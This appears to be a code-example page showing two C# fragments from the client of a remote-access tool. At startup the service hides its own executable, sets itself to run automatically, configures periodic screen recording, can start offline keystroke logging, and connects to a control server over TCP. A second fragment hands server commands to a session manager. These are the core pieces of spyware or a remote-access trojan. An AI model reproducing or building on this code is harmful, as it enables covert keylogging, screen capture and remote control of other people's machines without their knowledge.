Ejemplo n.º 1
0
        public MainService()
        {
            if (AppConfiguartion.IsHideExcutingFile)
            {
                ComputerSessionHelper.SetExecutingFileHide(true);
            }

            if (AppConfiguartion.IsAutoRun)
            {
                ComputerSessionHelper.SetAutoRun(true);
            }

            if (!int.TryParse(AppConfiguartion.ScreenRecordHeight, out _screen_record_height))
            {
                _screen_record_height = 800;
            }

            if (!int.TryParse(AppConfiguartion.ScreenRecordWidth, out _screen_record_width))
            {
                _screen_record_width = 1200;
            }

            if (!int.TryParse(AppConfiguartion.ScreenRecordSpanTime, out _screen_record_spantime))
            {
                _screen_record_spantime = 3000;
            }

            bool bKeyboardOffline;

            if (!bool.TryParse(AppConfiguartion.KeyboardOffline, out bKeyboardOffline))
            {
                bKeyboardOffline = false;
            }

            if (bKeyboardOffline)
            {
                Keyboard _keyboard = Keyboard.GetKeyboardInstance();
                _keyboard.Initialization();
                _keyboard.StartOfflineRecords();//开始离线记录
            }
            //创建通讯接口实例
            var clientConfig = new TcpSocketSaeaClientConfiguration();

            if (!AppConfiguartion.IsCentreServiceMode)
            {
                //服务版配置
                clientConfig.AppKeepAlive = true;
                clientConfig.KeepAlive    = false;
            }
            else
            {
                //中间服务器版服务端配置
                clientConfig.AppKeepAlive = false;
                clientConfig.KeepAlive    = true;
            }
            clientConfig.KeepAliveInterval = 5000;
            clientConfig.KeepAliveSpanTime = 1000;

            _clientAgent = TcpSocketsFactory.CreateClientAgent(TcpSocketSaeaSessionType.Packet, clientConfig, CompletetionNotify);
            ConnectToServer();
        }
Ejemplo n.º 2
0
 public void SetSystemSession(TcpSocketSaeaSession session)
 {
     ComputerSessionHelper.SessionManager(session.CompletedBuffer.GetMessageBody()[0]);
 }